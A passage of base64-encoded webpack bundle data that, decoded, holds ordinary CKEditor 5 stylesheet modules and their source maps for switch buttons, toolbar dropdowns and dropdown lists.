ZhcigtLWNrLWNvbG9yLWxpc3QtYmFja2dyb3VuZCk7XG5cdFx0XHRjb2xvcjogaW5oZXJpdDtcblxuXHRcdFx0Jjpob3Zlcjpub3QoLmNrLWRpc2FibGVkKSB7XG5cdFx0XHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLWxpc3QtYnV0dG9uLWhvdmVyLWJhY2tncm91bmQpO1xuXHRcdFx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cblxuLmNrLmNrLWxpc3RfX3NlcGFyYXRvciB7XG5cdGhlaWdodDogMXB4O1xuXHR3aWR0aDogMTAwJTtcblx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItYmFzZS1ib3JkZXIpO1xufVxuJywiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEltcGxlbWVudHMgcm91bmRlZCBjb3JuZXIgaW50ZXJmYWNlIGZvciAuY2stcm91bmRlZC1jb3JuZXJzIGNsYXNzLlxuICpcbiAqIEBzZWUgJGNrLWJvcmRlci1yYWRpdXNcbiAqL1xuQGRlZmluZS1taXhpbiBjay1yb3VuZGVkLWNvcm5lcnMge1xuXHRib3JkZXItcmFkaXVzOiAwO1xuXG5cdEBuZXN0IC5jay1yb3VuZGVkLWNvcm5lcnMgJixcblx0Ji5jay1yb3VuZGVkLWNvcm5lcnMge1xuXHRcdGJvcmRlci1yYWRpdXM6IHZhcigtLWNrLWJvcmRlci1yYWRpdXMpO1xuXHRcdEBtaXhpbi1jb250ZW50O1xuXHR9XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCIuY2suY2stYnV0dG9uLmNrLXN3aXRjaGJ1dHRvbiAuY2stYnV0dG9uX190b2dnbGUsLmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xlIC5jay1idXR0b25fX3RvZ2dsZV9faW5uZXJ7ZGlzcGxheTpibG9ja306cm9vdHstLWNrLXN3aXRjaC1idXR0b24tdG9nZ2xlLXdpZHRoOjIuNjE1Mzg0NjE1NGVtOy0tY2stc3dpdGNoLWJ1dHRvbi10b2dnbGUtaW5uZXItc2l6ZToxLjA3NjkyMzA3NjllbTstLWNrLXN3aXRjaC1idXR0b24tdG9nZ2xlLXNwYWNpbmc6MXB4Oy0tY2stc3dpdGNoLWJ1dHRvbi10cmFuc2xhdGlvbjpjYWxjKHZhcigtLWNrLXN3aXRjaC1idXR0b24tdG9nZ2xlLXdpZHRoKSAtIHZhcigtLWNrLXN3aXRjaC1idXR0b24tdG9nZ2xlLWlubmVyLXNpemUpIC0gdmFyKC0tY2stc3dpdGNoLWJ1dHRvbi10b2dnbGUtc3BhY2luZykqMil9W2Rpcj1sdHJdIC5jay5jay1idXR0b24uY2stc3dpdGNoYnV0dG9uIC5jay1idXR0b25fX2xhYmVse21hcmdpbi1yaWdodDpjYWxjKHZhcigtLWNrLXNwYWNpbmctbGFyZ2UpKjIpfVtkaXI9cnRsXSAuY2suY2stYnV0dG9uLmNrLXN3aXRjaGJ1dHRvbiAuY2stYnV0dG9uX19sYWJlbHttYXJnaW4tbGVmdDpjYWxjKHZhcigtLWNrLXNwYWNpbmctbGFyZ2UpKjIpfS5jay5jay1idXR0b24uY2stc3dpdGNoYnV0dG9uIC5jay1idXR0b25fX3RvZ2dsZXtib3JkZXItcmFkaXVzOjB9LmNrLXJvdW5kZWQtY29ybmVycyAuY2suY2stYnV0dG9uLmNrLXN3aXRjaGJ1dHRvbiAuY2stYnV0dG9uX190b2dnbGUsLmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xlLmNrLXJvdW5kZWQtY29ybmVyc3tib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpfVtkaXI9bHRyXSAuY2suY2stYnV0dG9uLmNrLXN3aXRjaGJ1dHRvbiAuY2stYnV0dG9uX190b2dnbGV7bWFyZ2luLWxlZnQ6YXV0b31bZGlyPXJ0bF0gLmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xle21hcmdpbi1yaWdodDphdXRvfS5jay5jay1idXR0b24uY2stc3dpdGNoYnV0dG9uIC5jay1idXR0b25fX3RvZ2dsZXt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjRzIGVhc2U7d2lkdGg6dmFyKC0tY2stc3dpdGNoLWJ1dHRvbi10b2dnbGUtd2lkdGgpO2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3Itc3dpdGNoLWJ1dHRvbi1vZmYtYmFja2dyb3VuZCl9LmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xlIC5jay1idXR0b25fX3RvZ2dsZV9faW5uZXJ7Ym9yZGVyLXJhZGl1czowfS5jay1yb3VuZGVkLWNvcm5lcnMgLmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xlIC5jay1idXR0b25fX3RvZ2dsZV9faW5uZXIsLmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xlIC5jay1idXR0b25fX3RvZ2dsZV9faW5uZXIuY2stcm91bmRlZC1jb3JuZXJze2JvcmRlci1yYWRpdXM6dmFyKC0tY2stYm9yZGVyLXJhZGl1cyk7Ym9yZGVyLXJhZGl1czpjYWxjKHZhcigtLWNrLWJvcmRlci1yYWRpdXMpKjAuNSl9LmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xlIC5jay1idXR0b25fX3RvZ2dsZV9faW5uZXJ7bWFyZ2luOnZhcigtLWNrLXN3aXRjaC1idXR0b24tdG9nZ2xlLXNwYWNpbmcpO3dpZHRoOnZhcigtLWNrLXN3aXRjaC1idXR0b24tdG9nZ2xlLWlubmVyLXNpemUpO2hlaWdodDp2YXIoLS1jay1zd2l0Y2gtYnV0dG9uLXRvZ2dsZS1pbm5lci1zaXplKTtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLXN3aXRjaC1idXR0b24taW5uZXItYmFja2dyb3VuZCk7dHJhbnNpdGlvbjphbGwgLjNzIGVhc2V9LmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xlOmhvdmVye2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3Itc3dpdGNoLWJ1dHRvbi1vZmYtaG92ZXItYmFja2dyb3VuZCl9LmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24gLmNrLWJ1dHRvbl9fdG9nZ2xlOmhvdmVyIC5jay1idXR0b25fX3RvZ2dsZV9faW5uZXJ7Ym94LXNoYWRvdzowIDAgMCA1cHggdmFyKC0tY2stY29sb3Itc3dpdGNoLWJ1dHRvbi1pbm5lci1zaGFkb3cpfS5jay5jay1idXR0b24uY2stc3dpdGNoYnV0dG9uLmNrLWRpc2FibGVkIC5jay1idXR0b25fX3RvZ2dsZXtvcGFjaXR5OnZhcigtLWNrLWRpc2FibGVkLW9wYWNpdHkpfS5jay5jay1idXR0b24uY2stc3dpdGNoYnV0dG9uLmNrLW9uIC5jay1idXR0b25fX3RvZ2dsZXtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLXN3aXRjaC1idXR0b24tb24tYmFja2dyb3VuZCl9LmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24uY2stb24gLmNrLWJ1dHRvbl9fdG9nZ2xlOmhvdmVye2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3Itc3dpdGNoLWJ1dHRvbi1vbi1ob3Zlci1iYWNrZ3JvdW5kKX1bZGlyPWx0cl0gLmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24uY2stb24gLmNrLWJ1dHRvbl9fdG9nZ2xlIC5jay1idXR0b25fX3RvZ2dsZV9faW5uZXJ7dHJhbnNmb3JtOnRyYW5zbGF0ZVgodmFyKC0tY2stc3dpdGNoLWJ1dHRvbi10cmFuc2xhdGlvbikpfVtkaXI9cnRsXSAuY2suY2stYnV0dG9uLmNrLXN3aXRjaGJ1dHRvbi5jay1vbiAuY2stYnV0dG9uX190b2dnbGUgLmNrLWJ1dHRvbl9fdG9nZ2xlX19pbm5lcnt0cmFuc2Zvcm06dHJhbnNsYXRlWChjYWxjKHZhcigtLWNrLXN3aXRjaC1idXR0b24tdHJhbnNsYXRpb24pKi0xKSl9IiwiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9jb21wb25lbnRzL2J1dHRvbi9zd2l0Y2hidXR0b24uY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtdWkvY29tcG9uZW50cy9idXR0b24vc3dpdGNoYnV0dG9uLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19yb3VuZGVkLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19kaXNhYmxlZC5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFTRSw0SEFDQyxhQUNELENDQ0YsTUFFQyw4Q0FBK0MsQ0FFL0MsbURBQW9ELENBQ3BELHFDQUFzQyxDQUN0QyxnS0FLRCxDQUdDLDBEQUdFLDRDQU9GLENBVkEsMERBUUUsMkNBRUYsQ0FFQSxpREMzQkEsZURvRUEsQ0F6Q0EseUlDdkJDLHFDRGdFRCxDQXpDQSwyREFLRSxnQkFvQ0YsQ0F6Q0EsMkRBVUUsaUJBK0JGLENBekNBLGlEQWNDLDhCQUFpQyxDQUVqQywwQ0FBMkMsQ0FDM0MsdURBd0JELENBdEJDLDJFQzlDRCxlRDJEQyxDQWJBLDZMQzFDQSxxQ0FBc0MsQ0Q0Q3BDLCtDQVdGLENBYkEsMkVBTUMsNkNBQThDLENBQzlDLCtDQUFnRCxDQUNoRCxnREFBaUQsQ0FDakQseURBQTBELENBRzFELHVCQUNELENBRUEsdURBQ0MsNkRBS0QsQ0FIQyxpRkFDQywrREFDRCxDQUlGLDZERXhFQSxrQ0YwRUEsQ0FFQSx1REFDQyxzREFrQkQsQ0FoQkMsNkRBQ0MsNERBQ0QsQ0FFQSwyRkFLRSx5REFNRixDQVhBLDJGQVNFLGtFQUVGIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24ge1xuXHQmIC5jay1idXR0b25fX3RvZ2dsZSB7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cblx0XHQmIC5jay1idXR0b25fX3RvZ2dsZV9faW5uZXIge1xuXHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0fVxuXHR9XG59XG4iLCcvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fcm91bmRlZC5jc3MiO1xuQGltcG9ydCAiLi4vLi4vLi4vbWl4aW5zL19kaXNhYmxlZC5jc3MiO1xuQGltcG9ydCAiQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9taXhpbnMvX2Rpci5jc3MiO1xuXG4vKiBOb3RlOiBUbyBhdm9pZCByZW5kZXJpbmcgaXNzdWVzIChhbGlhc2luZykgYnV0IHRvIHByZXNlcnZlIHRoZSByZXNwb25zaXZlIG5hdHVyZVxub2YgdGhlIGNvbXBvbmVudCwgZmxvYXRpbmfigJNwb2ludCBudW1iZXJzIGhhdmUgYmVlbiB1c2VkIHdoaWNoLCBmb3IgdGhlIGRlZmF1bHQgZm9udCBzaXplXG4oc2VlOiAtLWNrLWZvbnQtc2l6ZS1iYXNlKSwgd2lsbCBnZW5lcmF0ZSBzaW1wbGUgaW50ZWdlcnMuICovXG46cm9vdCB7XG5cdC8qIDM0cHggYXQgMTNweCBmb250LXNpemUgKi9cblx0LS1jay1zd2l0Y2gtYnV0dG9uLXRvZ2dsZS13aWR0aDogMi42MTUzODQ2MTU0ZW07XG5cdC8qIDE0cHggYXQgMTNweCBmb250LXNpemUgKi9cblx0LS1jay1zd2l0Y2gtYnV0dG9uLXRvZ2dsZS1pbm5lci1zaXplOiAxLjA3NjkyMzA3NjllbTtcblx0LS1jay1zd2l0Y2gtYnV0dG9uLXRvZ2dsZS1zcGFjaW5nOiAxcHg7XG5cdC0tY2stc3dpdGNoLWJ1dHRvbi10cmFuc2xhdGlvbjogY2FsYyhcblx0XHR2YXIoLS1jay1zd2l0Y2gtYnV0dG9uLXRvZ2dsZS13aWR0aCkgLVxuXHRcdHZhcigtLWNrLXN3aXRjaC1idXR0b24tdG9nZ2xlLWlubmVyLXNpemUpIC1cblx0XHQyICogdmFyKC0tY2stc3dpdGNoLWJ1dHRvbi10b2dnbGUtc3BhY2luZylcblx0KTtcbn1cblxuLmNrLmNrLWJ1dHRvbi5jay1zd2l0Y2hidXR0b24ge1xuXHQmIC5jay1idXR0b25fX2xhYmVsIHtcblx0XHRAbWl4aW4gY2stZGlyIGx0ciB7XG5cdFx0XHQvKiBTZXBhcmF0ZSB0aGUgbGFiZWwgZnJvbSB0aGUgc3dpdGNoICovXG5cdFx0XHRtYXJnaW4tcmlnaHQ6IGNhbGMoMiAqIHZhcigtLWNrLXNwYWNpbmctbGFyZ2UpKTtcblx0XHR9XG5cblx0XHRAbWl4aW4gY2stZGlyIHJ0bCB7XG5cdFx0XHQvKiBTZXBhcmF0ZSB0aGUgbGFiZWwgZnJvbSB0aGUgc3dpdGNoICovXG5cdFx0XHRtYXJnaW4tbGVmdDogY2FsYygyICogdmFyKC0tY2stc3BhY2luZy1sYXJnZSkpO1xuXHRcdH1cblx0fVxuXG5cdCYgLmNrLWJ1dHRvbl9fdG9nZ2xlIHtcblx0XHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzO1xuXG5cdFx0QG1peGluIGNrLWRpciBsdHIge1xuXHRcdFx0LyogTWFrZSBzdXJlIHRoZSB0b2dnbGUgaXMgYWx3YXlzIHRvIHRoZSByaWdodCBhcyBmYXIgYXMgcG9zc2libGUuICovXG5cdFx0XHRtYXJnaW4tbGVmdDogYXV0bztcblx0XHR9XG5cblx0XHRAbWl4aW4gY2stZGlyIHJ0bCB7XG5cdFx0XHQvKiBNYWtlIHN1cmUgdGhlIHRvZ2dsZSBpcyBhbHdheXMgdG8gdGhlIGxlZnQgYXMgZmFyIGFzIHBvc3NpYmxlLiAqL1xuXHRcdFx0bWFyZ2luLXJpZ2h0OiBhdXRvO1xuXHRcdH1cblxuXHRcdC8qIEdlbnRseSBhbmltYXRlIHRoZSBiYWNrZ3JvdW5kIGNvbG9yIG9mIHRoZSB0b2dnbGUgc3dpdGNoICovXG5cdFx0dHJhbnNpdGlvbjogYmFja2dyb3VuZCA0MDBtcyBlYXNlO1xuXG5cdFx0d2lkdGg6IHZhcigtLWNrLXN3aXRjaC1idXR0b24tdG9nZ2xlLXdpZHRoKTtcblx0XHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci1zd2l0Y2gtYnV0dG9uLW9mZi1iYWNrZ3JvdW5kKTtcblxuXHRcdCYgLmNrLWJ1dHRvbl9fdG9nZ2xlX19pbm5lciB7XG5cdFx0XHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRcdFx0Ym9yZGVyLXJhZGl1czogY2FsYyguNSAqIHZhcigtLWNrLWJvcmRlci1yYWRpdXMpKTtcblx0XHRcdH1cblxuXHRcdFx0LyogTGVhdmUgc29tZSB0aW55IGJpdCBvZiBzcGFjZSBhcm91bmQgdGhlIGlubmVyIHBhcnQgb2YgdGhlIHN3aXRjaCAqL1xuXHRcdFx0bWFyZ2luOiB2YXIoLS1jay1zd2l0Y2gtYnV0dG9uLXRvZ2dsZS1zcGFjaW5nKTtcblx0XHRcdHdpZHRoOiB2YXIoLS1jay1zd2l0Y2gtYnV0dG9uLXRvZ2dsZS1pbm5lci1zaXplKTtcblx0XHRcdGhlaWdodDogdmFyKC0tY2stc3dpdGNoLWJ1dHRvbi10b2dnbGUtaW5uZXItc2l6ZSk7XG5cdFx0XHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci1zd2l0Y2gtYnV0dG9uLWlubmVyLWJhY2tncm91bmQpO1xuXG5cdFx0XHQvKiBHZW50bHkgYW5pbWF0ZSB0aGUgaW5uZXIgcGFydCBvZiB0aGUgdG9nZ2xlIHN3aXRjaCAqL1xuXHRcdFx0dHJhbnNpdGlvbjogYWxsIDMwMG1zIGVhc2U7XG5cdFx0fVxuXG5cdFx0Jjpob3ZlciB7XG5cdFx0XHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci1zd2l0Y2gtYnV0dG9uLW9mZi1ob3Zlci1iYWNrZ3JvdW5kKTtcblxuXHRcdFx0JiAuY2stYnV0dG9uX190b2dnbGVfX2lubmVyIHtcblx0XHRcdFx0Ym94LXNoYWRvdzogMCAwIDAgNXB4IHZhcigtLWNrLWNvbG9yLXN3aXRjaC1idXR0b24taW5uZXItc2hhZG93KTtcblx0XHRcdH1cblx0XHR9XG5cdH1cblxuXHQmLmNrLWRpc2FibGVkIC5jay1idXR0b25fX3RvZ2dsZSB7XG5cdFx0QG1peGluIGNrLWRpc2FibGVkO1xuXHR9XG5cblx0Ji5jay1vbiAuY2stYnV0dG9uX190b2dnbGUge1xuXHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLXN3aXRjaC1idXR0b24tb24tYmFja2dyb3VuZCk7XG5cblx0XHQmOmhvdmVyIHtcblx0XHRcdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLXN3aXRjaC1idXR0b24tb24taG92ZXItYmFja2dyb3VuZCk7XG5cdFx0fVxuXG5cdFx0JiAuY2stYnV0dG9uX190b2dnbGVfX2lubmVyIHtcblx0XHRcdC8qXG5cdFx0XHQgKiBNb3ZlIHRoZSB0b2dnbGUgc3dpdGNoIHRvIHRoZSByaWdodC4gSXQgd2lsbCBiZSBhbmltYXRlZC5cblx0XHRcdCAqL1xuXHRcdFx0QG1peGluIGNrLWRpciBsdHIge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIHZhciggLS1jay1zd2l0Y2gtYnV0dG9uLXRyYW5zbGF0aW9uICkgKTtcblx0XHRcdH1cblxuXHRcdFx0QG1peGluIGNrLWRpciBydGwge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIGNhbGMoIC0xICogdmFyKCAtLWNrLXN3aXRjaC1idXR0b24tdHJhbnNsYXRpb24gKSApICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG4nLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogSW1wbGVtZW50cyByb3VuZGVkIGNvcm5lciBpbnRlcmZhY2UgZm9yIC5jay1yb3VuZGVkLWNvcm5lcnMgY2xhc3MuXG4gKlxuICogQHNlZSAkY2stYm9yZGVyLXJhZGl1c1xuICovXG5AZGVmaW5lLW1peGluIGNrLXJvdW5kZWQtY29ybmVycyB7XG5cdGJvcmRlci1yYWRpdXM6IDA7XG5cblx0QG5lc3QgLmNrLXJvdW5kZWQtY29ybmVycyAmLFxuXHQmLmNrLXJvdW5kZWQtY29ybmVycyB7XG5cdFx0Ym9yZGVyLXJhZGl1czogdmFyKC0tY2stYm9yZGVyLXJhZGl1cyk7XG5cdFx0QG1peGluLWNvbnRlbnQ7XG5cdH1cbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBBIGNsYXNzIHdoaWNoIGluZGljYXRlcyB0aGF0IGFuIGVsZW1lbnQgaG9sZGluZyBpdCBpcyBkaXNhYmxlZC5cbiAqL1xuQGRlZmluZS1taXhpbiBjay1kaXNhYmxlZCB7XG5cdG9wYWNpdHk6IHZhcigtLWNrLWRpc2FibGVkLW9wYWNpdHkpO1xufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiOnJvb3R7LS1jay10b29sYmFyLWRyb3Bkb3duLW1heC13aWR0aDo2MHZ3fS5jay5jay10b29sYmFyLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fcGFuZWx7d2lkdGg6bWF4LWNvbnRlbnQ7bWF4LXdpZHRoOnZhcigtLWNrLXRvb2xiYXItZHJvcGRvd24tbWF4LXdpZHRoKX0uY2suY2stdG9vbGJhci1kcm9wZG93biAuY2stZHJvcGRvd25fX3BhbmVsIC5jay1idXR0b246Zm9jdXN7ei1pbmRleDpjYWxjKHZhcigtLWNrLXotZGVmYXVsdCkgKyAxKX0uY2suY2stdG9vbGJhci1kcm9wZG93biAuY2stdG9vbGJhcntib3JkZXI6MH0iLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL2NvbXBvbmVudHMvZHJvcGRvd24vdG9vbGJhcmRyb3Bkb3duLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL2NvbXBvbmVudHMvZHJvcGRvd24vdG9vbGJhcmRyb3Bkb3duLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQUtBLE1BQ0Msb0NBQ0QsQ0FHQyw0Q0FFQyxpQkFBa0IsQ0FDbEIsOENBT0QsQ0FKRSw2REFDQyxxQ0FDRCxDQ2JILG9DQUNDLFFBQ0QiLHNvdXJjZXNDb250ZW50OlsiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG46cm9vdCB7XG5cdC0tY2stdG9vbGJhci1kcm9wZG93bi1tYXgtd2lkdGg6IDYwdnc7XG59XG5cbi5jay5jay10b29sYmFyLWRyb3Bkb3duIHtcblx0JiAuY2stZHJvcGRvd25fX3BhbmVsIHtcblx0XHQvKiBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy81NTg2ICovXG5cdFx0d2lkdGg6IG1heC1jb250ZW50O1xuXHRcdG1heC13aWR0aDogdmFyKC0tY2stdG9vbGJhci1kcm9wZG93bi1tYXgtd2lkdGgpO1xuXG5cdFx0JiAuY2stYnV0dG9uIHtcblx0XHRcdCY6Zm9jdXMge1xuXHRcdFx0XHR6LWluZGV4OiBjYWxjKHZhcigtLWNrLXotZGVmYXVsdCkgKyAxKTtcblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrLmNrLXRvb2xiYXItZHJvcGRvd24gLmNrLXRvb2xiYXIge1xuXHRib3JkZXI6IDA7XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCIuY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbCAuY2stbGlzdHtib3JkZXItcmFkaXVzOjB9LmNrLXJvdW5kZWQtY29ybmVycyAuY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbCAuY2stbGlzdCwuY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbCAuY2stbGlzdC5jay1yb3VuZGVkLWNvcm5lcnN7Ym9yZGVyLXJhZGl1czp2YXIoLS1jay1ib3JkZXItcmFkaXVzKTtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjB9LmNrLmNrLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fcGFuZWwgLmNrLWxpc3QgLmNrLWxpc3RfX2l0ZW06Zmlyc3QtY2hpbGQgLmNrLWJ1dHRvbntib3JkZXItcmFkaXVzOjB9LmNrLXJvdW5kZWQtY29ybmVycyAuY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbCAuY2stbGlzdCAuY2stbGlzdF9faXRlbTpmaXJzdC1jaGlsZCAuY2stYnV0dG9uLC5jay5jay1kcm9wZG93biAuY2stZHJvcGRvd25fX3BhbmVsIC5jay1saXN0IC5jay1saXN0X19pdGVtOmZpcnN0LWNoaWxkIC5jay1idXR0b24uY2stcm91bmRlZC1jb3JuZXJze2JvcmRlci1yYWRpdXM6dmFyKC0tY2stYm9yZGVyLXJhZGl1cyk7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czowO2JvcmRlci1ib3R0b20tbGVmdC1yYWRpdXM6MDtib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czowfS5jay5jay1kcm9wZG93biAuY2stZHJvcGRvd25fX3BhbmVsIC5jay1saXN0IC5jay1saXN0X19pdGVtOmxhc3QtY2hpbGQgLmNrLWJ1dHRvbntib3JkZXItcmFkaXVzOjB9LmNrLXJvdW5kZWQtY29ybmVycyAuY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbCAuY2stbGlzdCAuY2stbGlzdF9faXRlbTpsYXN0LWNoaWxkIC5jay1idXR0b24sLmNrLmNrLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fcGFuZWwgLmNrLWxpc3QgLmNrLWxpc3RfX2l0ZW06bGFzdC1jaGlsZCAuY2stYnV0dG9uLmNrLXJvdW5kZWQtY29ybmVyc3tib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpO2JvcmRlci10b3AtbGVmdC1yYWRpdXM6MDtib3JkZXItdG9wLXJpZ2h0